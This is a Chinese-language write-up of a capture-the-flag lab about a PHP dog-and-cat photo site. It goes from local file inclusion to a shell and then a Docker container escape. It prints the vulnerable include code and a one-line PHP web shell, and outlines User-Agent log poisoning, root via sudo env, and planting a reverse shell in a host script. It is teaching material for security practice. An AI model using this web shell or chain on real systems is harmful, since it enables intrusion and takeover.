从本地文件包含到getshell
题目概述
难度:中 描述:我创建了一个网站,您可以在其中查看狗和/或猫的照片!通过 LFI 利用 PHP 应用程序并突破 Docker 容器。
基本信息
| 🚀 | 本地机器信息 | 目标机器信息 |
|---|---|---|
| IP | 10.17.5.121 | 10.10.200.120 |
| OS | kali | linux |
信息搜集
- 端口扫描 22,80
- 路径探测

- 服务枚举 无
渗透思路
攻击向量
80端口web服务为攻击点 猜测
$dir = $_GET["view"] .'.php';
include($dir);

<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php'; //不传递ext 默认为php文件 读取passwd 需要传递 ext
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
?>

<?php system($_GET['cmd']);?>
user-agent 利用

nday利用
信息审计
漏洞利用
getshell
反弹webshell

提权
https://gtfobins.github.io/gtfobins/env/#shell
值得注意的是这是个docker 环境

宿主主机会这些这个bashup.sh 可以尝试把revbash 加到sh文件

知识点回顾
思路总结下:
利用点:
本地文件包含 LFI
目录确定 后读取index文件,进行代码审计非php文件需要读取传参ext
读取apache2 /nginx 的访问文件,然后修改useragent 头注入一句话木马,然后反弹shell
容器内提权 sudo env
docker 逃逸 sh脚本反弹shell